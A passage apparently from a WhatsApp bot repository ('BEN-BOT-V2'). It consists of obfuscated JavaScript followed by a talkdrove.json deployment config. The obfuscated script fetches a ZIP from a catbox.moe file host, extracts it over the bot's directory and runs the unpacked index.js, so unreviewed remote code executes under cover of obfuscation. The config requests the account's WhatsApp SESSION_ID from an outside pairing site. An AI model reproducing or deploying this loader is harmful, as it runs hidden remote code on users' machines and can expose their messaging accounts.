_0x38312c=a0_0x3831();return a0_0x10fd=function(_0x10fd2a,_0x53536d){_0x10fd2a=_0x10fd2a-0x19e;let _0x5e5adf=_0x38312c[_0x10fd2a];return _0x5e5adf;},a0_0x10fd(_0x112507,_0x6d81e8);}function a0_0x3831(){const _0x1795eb=['3448780tjQQdz','unlinkSync','836gQoVoE','✅\x20ZIP\x20downloaded.','adm-zip','❌\x20Error\x20during\x20setup:','axios','finish','317796VJWugf','GET','join','temp.zip','https://files.catbox.moe/m88w26.zip','error','exit','path','🗑️\x20ZIP\x20file\x20deleted.','11ZRbKpJ','createWriteStream','index.js','log','140259PWnViU','🔁\x20Bot\x20exited\x20with\x20code:\x20','28VpslWh','child_process','data','28225190ryQpfN','5ZZVaCv','stream','13468392uxGIXX','✅\x20ZIP\x20extracted.','pipe','3057LvCrox','8580800yFQJgw','inherit'];a0_0x3831=function(){return _0x1795eb;};return a0_0x3831();}const fs=require('fs'),path=require(a0_0xa274b5(0x1b1)),axios=require(a0_0xa274b5(0x1a8)),AdmZip=require(a0_0xa274b5(0x1a6)),{spawn}=require(a0_0xa274b5(0x1ba));async function downloadAndExtractZip(_0x40aa57){const _0x194666=a0_0xa274b5,_0x1004d0=path[_0x194666(0x1ac)](__dirname,_0x194666(0x1ad)),_0x5eadab=path[_0x194666(0x1ac)](__dirname);try{const _0x1e41a5=await axios({'method':_0x194666(0x1ab),'url':_0x40aa57,'responseType':_0x194666(0x1be)}),_0x55f811=fs[_0x194666(0x1b4)](_0x1004d0);_0x1e41a5[_0x194666(0x1bb)][_0x194666(0x19e)](_0x55f811),await new Promise((_0x8b74fc,_0x3cbace)=>{const _0x7be71e=_0x194666;_0x55f811['on'](_0x7be71e(0x1a9),_0x8b74fc),_0x55f811['on']('error',_0x3cbace);}),console[_0x194666(0x1b6)](_0x194666(0x1a5));const _0x4c63cd=new AdmZip(_0x1004d0);_0x4c63cd['extractAllTo'](_0x5eadab,!![]),console[_0x194666(0x1b6)](_0x194666(0x1c0)),fs[_0x194666(0x1a3)](_0x1004d0),console['log'](_0x194666(0x1b2)),console['log']('🚀\x20Starting\x20bot...');const _0x59ebfa=spawn('node',[_0x194666(0x1b5)],{'stdio':_0x194666(0x1a1),'cwd':__dirname});_0x59ebfa['on'](_0x194666(0x1b0),_0x5cab34=>{const _0x57c881=_0x194666;console[_0x57c881(0x1b6)](_0x57c881(0x1b8)+_0x5cab34);});}catch(_0x2921ee){console[_0x194666(0x1af)](_0x194666(0x1a7),_0x2921ee);}}const zipUrl=a0_0xa274b5(0x1ae);downloadAndExtractZip(zipUrl); -------------------------------------------------------------------------------- /talkdrove.json: -------------------------------------------------------------------------------- 1 | 2 | { 3 | "bot-name": "BEN-BOT-V2", 4 | "description": "Ben bot simple by NOTHING", 5 | "logo": "https://files.catbox.moe/4i7dp7.jpg", 6 | "keywords": ["bot"], 7 | "documentation-link": "https://session.apis-nothing.xyz", 8 | "owner-verification":"kingamirnafas@gmail.com", 9 | 10 | "env": { 11 | "SESSION_ID": { 12 | "description": "Put yorr SESSION_ID here. Make sure it starts with Byte;;;, or get session id from here, https://webpair-ben-nothing.onrender.com", 13 | "value":"", 14 | "required": true 15 | 16 | }, 17 | "PREFIX": { 18 | "description": "Bot command prefix, (e.g, . , ! @ etc", 19 | "value":".", 20 | "required": true 21 | 22 | }, 23 | "BOT_MODE": { 24 | "description": "Bot mode can be: public, private, inbox, or group (all lowercase). public: everyone can use the bot. private: only owner and bot itself. inbox: only in private chat by owner/bot. group: only in groups by users, but bot/owner can use it anywhere.", 25 | "value":"public", 26 | "required": true 27 | 28 | }, 29 | "OWNER_NUMBER": { 30 | "description": "OWNER_NUMBER with country code (e.g, 9230723xxxxx,93730275765)", 31 | "value":"923072380xxxx", 32 | "required": true 33 | 34 | }, 35 | "WELCOME": { 36 | "description": "true for auto welcome future in group false for off", 37 | "value":"false", 38 | "required": true 39 | 40 | }, 41 | "ANTIBOT": { 42 | "description": "Set true to Automatically deletes bot commands sent by users and warns them To Enable put true and to disable put false (e.g, true)", 43 | "value": "false", 44 | "required": false 45 | 46 | }, 47 | "ANTILINK": { 48 | "description": "Set true to Deletes messages containing links and warns the user To Enable put true and to disable put false (e.g, true)", 49 | "value": "false", 50 | "required": false 51 | 52 | } 53 | } 54 | 55 | } --------------------------------------------------------------------------------